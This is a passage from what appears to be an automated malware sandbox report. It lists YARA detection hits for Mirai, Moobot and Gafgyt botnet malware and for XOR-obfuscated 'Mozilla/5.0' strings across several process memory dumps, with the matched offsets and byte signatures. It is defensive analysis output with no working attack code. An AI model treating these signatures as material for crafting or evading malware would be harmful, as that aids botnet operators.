2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6731.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6950.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6950.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6950.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6950.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6950.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6950.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6483.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7185.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7185.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7185.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7185.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7185.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7185.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7153.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7153.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7153.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7153.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7153.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7153.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6492.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6492.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6492.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6492.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6492.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6492.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6789.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6362.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6362.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6362.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6757.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6757.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6757.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6757.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6757.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 